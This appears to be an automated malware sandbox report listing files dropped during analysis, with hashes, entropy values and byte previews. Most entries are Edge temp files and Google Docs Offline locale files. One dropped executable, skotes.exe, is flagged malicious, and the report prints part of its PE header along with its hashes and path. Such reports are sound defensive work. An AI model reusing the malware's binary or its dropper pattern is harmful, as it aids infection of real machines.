Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\4f9d6f7b-f595-4638-be30-6e0ff22b07bf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1550401
Entropy (8bit):	7.992658195208292
Encrypted:	true
SSDEEP:	24576:7HULVQY3go5JVFy9+jRpdcbNoTMwTevfIw8NIpG7HUtHSt0horIzFAX3dr4SLLDq:rUeYXfVFyORPINoTMqQfQ2G7oSDwAnd6
MD5:	92568B91D9792DC81520CE0895545E53
SHA1:	B0003B5A37F2841857B872EFAA8A8556A19E0045
SHA-256:	0472E0FD5D26EF34F6F0D501C2AA6B0D858A8706C1D1E31C5196740BAC956444
SHA-512:	2CB56B0289B01D080AFDBCC87F7B541EE5FC1CE3A2AF73524BCCC4B5888158657B6DCDB5AFE56B6AD12C53DECC28726AE212EFC7F6D431EE9E8E8F14E182F16D
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\a7fe0691-8f36-4997-9e70-c72ab74f7809.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsGCBKFBFCGI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1896960
Entropy (8bit):	7.9477790128088515
Encrypted:	false
SSDEEP:	49152:Gupx0U0i3hd05JJhAm868E10ZUqPVFnalWmvFiUM:7pOAOPJhUFE10ykaUmvFiz
MD5:	A5C1BEDE87AA32763C4260E89488190E
SHA1:	C6AEBC9F05315BA9F7FAB59B47FD661FB4856DB9
SHA-256:	213FEEE2ADF1407723F34322234A1AD83857745E38641909A8B50E0ECFFE2F11
SHA-512:	BCF6C75025BC990FEFF564A49F0D2E6DBB8207C39B374ADCD71F08E2DBA8B67305D0AB4CAD0A3843AE22F9407F6D5FA1819C003A01664787BFAAF337BC558BAA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@..........................@K...........@.................................W...k.......D...................\.J...............................J..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p*.........................@...ovllquoa..... 1.....................@...jwgixeip......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aeb93502-490d-417f-aafc-956a3dfaf1db.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.406453197142942
Encrypted:	false
SSDEEP:	24:YJxF5sQ5szAW01Rp5yK10YO5qv70VhQu5Fa0sOsk5eb0lg5M:YJxF5sQ5sEW01X5y60YO5qD0VH5Fa0sI
MD5:	8F5D7BC402FAF86281A560B8B78A1121
SHA1:	00138D8F0729C7A7F95236FB16DEF578F895A0FE
SHA-256:	1467E599BDAB7CA81E3BF0CD98C4971CFC9F2C1E417735F48BCA61DAB07915CA
SHA-512:	33307BCEEE9C168157F1E8EE876CF0D0A83523AC2DFD1B7888CEBB7223927580E46E7F93D75E53FE9C92F618396B083DE87BD5C519421E7FA81710C36CBF6AEF
Malicious:	false
Preview:	{"logTime": "1005/081724", "correlationVector":"2/PmMr7SOFFRIqTwW+HesJ","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"mBsci4p0IuAlecFQAh3IDU","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/081729", "correlationVector":"EFCCE5F7ECC74238A0D17C500D8EB81C","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083130", "correlationVector":"jkXXrPbML/1ucIa5c7okZ6","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083130", "correlationVector":"CECEB17551BE48CCBF3DD12E07118D84","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083241", "correlationVector":"WUtA7xoJfeUJPFSRRtPAng","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083242", "correlationVector":"B7F67C44DD3147F7BE748158D3F8E7B5","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/083444", "correlationVector":"6kKZpL8SvSsrBcj/Fl+tva","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/083445", "correlationVector":"94D95442

C:\Users\user\AppData\Local\Temp\f00cf63f-bb8a-469f-828b-8c92683bf063.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\014579d5-e488-4723-96f5-b1be3076e886.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2844_1042602302\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
